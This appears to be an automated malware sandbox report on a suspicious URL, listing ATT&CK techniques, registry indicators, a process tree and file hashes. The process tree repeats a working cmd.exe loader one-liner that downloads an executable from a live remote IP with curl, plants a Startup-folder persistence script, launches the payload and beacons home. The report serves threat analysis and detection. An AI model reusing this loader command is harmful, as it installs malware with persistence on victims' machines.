hxxps://88[.]212[.]109[.]208[.]host[.]secureserver[.]net/?get=1

Analysis

geolocation tags

cacanadananorth-americatoronto
user interaction
yes
max time kernel
31s
max time network
33s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/08/2026, 13:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://88.212.109.208.host.secureserver.net/?get=1
Sample260804-qceksabc94

Score

8^/10

discovery execution

Malware Config

Signatures

Downloads MZ/PE file 3 IoCs

flow	pid	Process
23	1956	curl.exe
32	4976	curl.exe
39	568	curl.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1440	cmd.exe
2576	cmd.exe
3040	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2304	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134303224210106846"	chrome.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings	chrome.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3308	chrome.exe
3308	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe

Suspicious use of AdjustPrivilegeToken 62 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe
Token: SeShutdownPrivilege	3308	chrome.exe
Token: SeCreatePagefilePrivilege	3308	chrome.exe

Suspicious use of FindShellTrayWindow 41 IoCs

pid	Process
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe
3308	chrome.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 3308 wrote to memory of 3444	3308	chrome.exe	86
PID 3308 wrote to memory of 5052	3308	chrome.exe	87
PID 3308 wrote to memory of 5052	3308	chrome.exe	87
PID 3308 wrote to memory of 2304	3308	chrome.exe	88
PID 3308 wrote to memory of 2892	3308	chrome.exe	89
PID 3308 wrote to memory of 2892	3308	chrome.exe	89
PID 3308 wrote to memory of 2284	3308	chrome.exe	91
PID 3308 wrote to memory of 2284	3308	chrome.exe	91
PID 3308 wrote to memory of 4188	3308	chrome.exe	92
PID 3308 wrote to memory of 4188	3308	chrome.exe	92
PID 3308 wrote to memory of 2580	3308	chrome.exe	93
PID 3308 wrote to memory of 2580	3308	chrome.exe	93
PID 3308 wrote to memory of 828	3308	chrome.exe	94
PID 3308 wrote to memory of 3024	3308	chrome.exe	95
PID 1440 wrote to memory of 1956	1440	cmd.exe	108
PID 1440 wrote to memory of 4580	1440	cmd.exe	109
PID 2576 wrote to memory of 4976	2576	cmd.exe	113
PID 2576 wrote to memory of 1512	2576	cmd.exe	115
PID 3040 wrote to memory of 568	3040	cmd.exe	118
PID 3308 wrote to memory of 4264	3308	chrome.exe	121
PID 3308 wrote to memory of 3204	3308	chrome.exe	122
PID 3308 wrote to memory of 324	3308	chrome.exe	123

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://88.212.109.208.host.secureserver.net/?get=1
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3308
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff05bfc728,0x7fff05bfc734,0x7fff05bfc740
  2⤵
  PID:3444
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1664,i,4764295768786838869,687601535197413324,262144 --field-trial-handle=1652,i,14857212125763927662,6494197488067612812,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1672 /prefetch:2
  2⤵
  PID:5052
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1576,i,13544132534548600132,3004089639492974079,524288 --field-trial-handle=1652,i,14857212125763927662,6494197488067612812,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2260 /prefetch:3
  2⤵
  - System Time Discovery
  PID:2304
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2368,i,3702700397074290672,2561167258349492053,524288 --field-trial-handle=1652,i,14857212125763927662,6494197488067612812,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2468 /prefetch:8
  2⤵
  PID:2892
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3184,i,15276245824611790528,15102545988369869088,2097152 --field-trial-handle=1652,i,14857212125763927662,6494197488067612812,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3188 /prefetch:1
  2⤵
  PID:2284
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3196,i,3500959269552244897,6060105225479503948,2097152 --field-trial-handle=1652,i,14857212125763927662,6494197488067612812,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3240 /prefetch:1
  2⤵
  PID:4188
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4444,i,5400061809439490299,1316325811940365373,2097152 --field-trial-handle=1652,i,14857212125763927662,6494197488067612812,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4424 /prefetch:2
  2⤵
  PID:2580
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5208,i,4528220607869374580,10914955172231848548,524288 --field-trial-handle=1652,i,14857212125763927662,6494197488067612812,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5200 /prefetch:8
  2⤵
  PID:828
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5200,i,14128326837177263051,15105837983956562892,524288 --field-trial-handle=1652,i,14857212125763927662,6494197488067612812,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5268 /prefetch:8
  2⤵
  PID:3024
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5368,i,18353088160936356292,7343084965089994469,524288 --field-trial-handle=1652,i,14857212125763927662,6494197488067612812,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5936 /prefetch:8
  2⤵
  PID:4264
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5260,i,12817571130956897088,8902396806721539779,524288 --field-trial-handle=1652,i,14857212125763927662,6494197488067612812,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5964 /prefetch:8
  2⤵
  PID:3204
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5784,i,8282576542988916929,7277719661778719031,524288 --field-trial-handle=1652,i,14857212125763927662,6494197488067612812,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6008 /prefetch:8
  2⤵
  PID:324

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2452

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3064

C:\WINDOWS\system32\cmd.exe
"C:\WINDOWS\system32\cmd.exe" /V:ON /Q /D /C "set o9=http://104.234.200.205:8181/api/autoit&set q1=-exe?t=af0231313f5c45e4a040832b420953fd&set f1=http://104.234.200.205:8181/api/autoit&set k5=-dat?t=af0231313f5c45e4a040832b420953fd&set "w3=https://88.212.109.208.host.secureserver.net/?trk=1&y=exec&s=33c4e314-6045-e45b-2778-5ba8f5006abd&u="&set m6=curl.exe&set a=C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches&set s=svc4b833e9e68&set d=!a!\!s!&mkdir "!d!" 2>nul&!m6! -s -L -o "!d!\!s!.exe" "!o9!!q1!" 2>nul&!m6! -s -L -o "!d!\!s!.dat" "!f1!!k5!" 2>nul&(echo @start "" "!d!\!s!.exe" "!d!\!s!.dat")>"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!s!.cmd"&start "" "!d!\!s!.exe" "!d!\!s!.dat"&!m6! -s -L "!w3!" >nul 2>nul"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1440
- C:\Windows\System32\curl.exe
  curl.exe -s -L -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\svc4b833e9e68\svc4b833e9e68.exe" "http://104.234.200.205:8181/api/autoit-exe?t=af0231313f5c45e4a040832b420953fd"
  2⤵
  - Downloads MZ/PE file
  PID:1956
- C:\Windows\System32\curl.exe
  curl.exe -s -L -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\svc4b833e9e68\svc4b833e9e68.dat" "http://104.234.200.205:8181/api/autoit-dat?t=af0231313f5c45e4a040832b420953fd"
  2⤵
  PID:4580

C:\WINDOWS\system32\cmd.exe
"C:\WINDOWS\system32\cmd.exe" /V:ON /Q /D /C "set o9=http://104.234.200.205:8181/api/autoit&set q1=-exe?t=af0231313f5c45e4a040832b420953fd&set f1=http://104.234.200.205:8181/api/autoit&set k5=-dat?t=af0231313f5c45e4a040832b420953fd&set "w3=https://88.212.109.208.host.secureserver.net/?trk=1&y=exec&s=33c4e314-6045-e45b-2778-5ba8f5006abd&u="&set m6=curl.exe&set a=C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches&set s=svc4b833e9e68&set d=!a!\!s!&mkdir "!d!" 2>nul&!m6! -s -L -o "!d!\!s!.exe" "!o9!!q1!" 2>nul&!m6! -s -L -o "!d!\!s!.dat" "!f1!!k5!" 2>nul&(echo @start "" "!d!\!s!.exe" "!d!\!s!.dat")>"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!s!.cmd"&start "" "!d!\!s!.exe" "!d!\!s!.dat"&!m6! -s -L "!w3!" >nul 2>nul"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2576
- C:\Windows\System32\curl.exe
  curl.exe -s -L -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\svc4b833e9e68\svc4b833e9e68.exe" "http://104.234.200.205:8181/api/autoit-exe?t=af0231313f5c45e4a040832b420953fd"
  2⤵
  - Downloads MZ/PE file
  PID:4976
- C:\Windows\System32\curl.exe
  curl.exe -s -L -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\svc4b833e9e68\svc4b833e9e68.dat" "http://104.234.200.205:8181/api/autoit-dat?t=af0231313f5c45e4a040832b420953fd"
  2⤵
  PID:1512

C:\WINDOWS\system32\cmd.exe
"C:\WINDOWS\system32\cmd.exe" /V:ON /Q /D /C "set o9=http://104.234.200.205:8181/api/autoit&set q1=-exe?t=af0231313f5c45e4a040832b420953fd&set f1=http://104.234.200.205:8181/api/autoit&set k5=-dat?t=af0231313f5c45e4a040832b420953fd&set "w3=https://88.212.109.208.host.secureserver.net/?trk=1&y=exec&s=33c4e314-6045-e45b-2778-5ba8f5006abd&u="&set m6=curl.exe&set a=C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches&set s=svc4b833e9e68&set d=!a!\!s!&mkdir "!d!" 2>nul&!m6! -s -L -o "!d!\!s!.exe" "!o9!!q1!" 2>nul&!m6! -s -L -o "!d!\!s!.dat" "!f1!!k5!" 2>nul&(echo @start "" "!d!\!s!.exe" "!d!\!s!.dat")>"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!s!.cmd"&start "" "!d!\!s!.exe" "!d!\!s!.dat"&!m6! -s -L "!w3!" >nul 2>nul"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3040
- C:\Windows\System32\curl.exe
  curl.exe -s -L -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\svc4b833e9e68\svc4b833e9e68.exe" "http://104.234.200.205:8181/api/autoit-exe?t=af0231313f5c45e4a040832b420953fd"
  2⤵
  - Downloads MZ/PE file
  PID:568

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 53089d5559fe1776a545cb46a55d66f5e3e5730de8526b6cc3339e00847aee7c
MD5 1d0a77791a01330a35d143325ab74679
SHA1 0025ae44b4c0ae5c6f86141bec97528cc3224792
SHA512 43effe7e9873081d3e67a15f0f8064946e8aa3f01103295d73a8ebbee93170fc79534887fd9fe5ce9d98fa27596ef48ff53b9319737992eb06d7a1e2aef1e1fe
TLSH
T1C4E0ABA9CC21FC374CFC471D40404705DA62135717A0842B3B3D81488FB06670182C5C
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 3397055fb4de8968b766f45d9173ce7c7dc30db88838cc8a9d5dd5ac75c2a84f
MD5 fe114334d0fce7bb50ee378cf193a406
SHA1 8219aeffe9b585c0bcdd1dbcaa49bc92e6e01669
SHA512 8d1335e453899e50e06503b3e660902852f31649b0cd4e792fb886f947f0642a18908e9bd67aa2159c92c8dcf56562f48ee1e86df6553505d500e4a48790e9c3
SSDEEP 192:IRsCYGR8JqEv7ApAPRp2l9qHsb+WNn56P6deUUad+VyIsnAUge:IRsCtgkUXmkwcPPaEe
TLSH
T1A342A62EEE50693BACDBD21AFA567763E7F6103521D42E80EAFC856C14E75CC221701B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 17KB
SHA256 13805701603dbbca9403b94e006c712edafb4f98a8e0ae4ce0ad1b025b835f93
MD5 28aca1b912d001e337a9e715a111a353
SHA1 177a8b35a6fa74a15deedffd79dc9066169fc496
SHA512 0e554b40f873ea651a22f9b91cf52ad45cc99b35e2db0e34845d695aa13aaf61497b6646f39f5b0ba26fc4a43100e92a0aff8ad949d0289fb397cfe00b0cede5
SSDEEP 384:V7jxY7KxkXqKf/pUZNCgVLH2HfgsluX7pLuLcSjvKXODx4+ErU31PHG0pdpS8gfp:V3xY7KxkXqKf/pUZNCgVLH2HfgskX7pf
TLSH
T1A4720967AC0C9E374F94D6CCDC277B4FADB5015B61E9886483FA981903D5BCA110A1FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 120B
SHA256 1068ec69900b0a39448747dae8dfc9dd9f72925998b2673784c5625769fe49ff
MD5 85b435b85e12abd9cc04e262426d5769
SHA1 29e453ad0caa05ad49ad02c853c2d491e8b0aa7a
SHA512 d95f7a4d6a10e4749ae52c1d0f24f5fef9b44c7f0113bfabd3785ca1774e902669d51576fbea78f5e81a5b788ec050c43e471e1a22c77d579400e7ce4e8fdb20
TLSH
T11FB012108402A241C0C202B0525215C871185F10960A270143E07E22C825161E014090
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe58a6e9.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe58a6e9.TMP
Size 96B
SHA256 1f11d0745338ac6c060c306b0a3dca55d3b1294005f94e1d454054df655e4477
MD5 7ec22cd074220f753fbe4abce03d4b6b
SHA1 6c8c2d0f839615d6a7d80c736b5afd0925e1867a
SHA512 f88d98f8905ade4b1cdd2d726eac261228f42fbe52a840355f9e51fac3d79db054a39d5f31ef7e6c15968f932985104469b35aca12867ecdba844c3dd6954bb9
TLSH
T193B022CAC2032302C00203B020A880E8B2B0CF20CB03223282E00B22CC28A308A200A0
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 116KB
SHA256 2662835cad40d257568f200ab2d891478116e45bb89c0eedbd59cdd02cd426f4
MD5 0c8192714d707524e7471c650723b613
SHA1 ed06592a503e8d1f3520fbbcac4796b679e9236a
SHA512 468fe6f688fde057f7d2a03f94970236cba510aa259371856853af76ac76c3f39f4652b0afd0652cbbe5ada0b3c42c43b7a6e48b7d9a88998565c5c807f7ba84
SSDEEP 3072:6sGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMg:wm7Rkm1tYpBeh2BAog
TLSH
T16FC3023B5DA4E83759B5B71FA04E0A1F1EF249A7C924DE92C8C85B0423E97CD0A45A38
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 115KB
SHA256 6d99089c4c0412c70b22feebeb9ba78d98c7ab4a706a044a9981905873c9d27d
MD5 e7d2b44c0c6ed1d76f4aeaa6d74e907c
SHA1 0510a8ae5b20a7ad92148af4074424d1174ab1e9
SHA512 ad4b7c53ce5a07f9fd4a2448eac80b3315d0fbcc83c41e385b5fd8a8b984b362c807f1f79ed0b7080aa28141ec53d73c97430f98ec9188cbde81ae2748be5ef8
SSDEEP 3072:AmGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMg:ym7Rkm1tYpBeh2BAog
TLSH
T160C3023B5D75EC3B5CB5A74FB48E0B1E2EF249A6C920DE9288D85A0437F97CD0A44934
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

svc4b833e9e68.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\svc4b833e9e68\svc4b833e9e68.dat
Size 4KB
SHA256 cb370ec828dca4dae813f1b18011555334dc5e8b2b2391fff9fb2863b486b552
MD5 741145beea2d2f924f912ac3f8b315c5
SHA1 b528243dadcea042bcffc22fbf4f881a6efdf276
SHA512 c1fa20d29c53b624e7e9b5019ea5e9827bb00d8eb5c3484813bd92e922245d85c6dac796f1a219b65805202c6382764c590cec975eed1644ce84365dedb5a39e
TLSH
T132819FE103C6CAE8D1E69D457D41D56FC1EC1875081C438B04D3A909EE5FE18A3D97ED
MD5 SHA1 SHA512 TLSH

Submit Download

svc4b833e9e68.exe

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\svc4b833e9e68\svc4b833e9e68.exe
Size 4KB
SHA256 b3fb65e6a55552c63b613bf10afe7dd38ae475196f442e55771862ab802f5819
MD5 228952814deb1df73062b68d5e1682c7
SHA1 82e5e4b839ecc56b5ee6708bfa35ea5e10a2e8d7
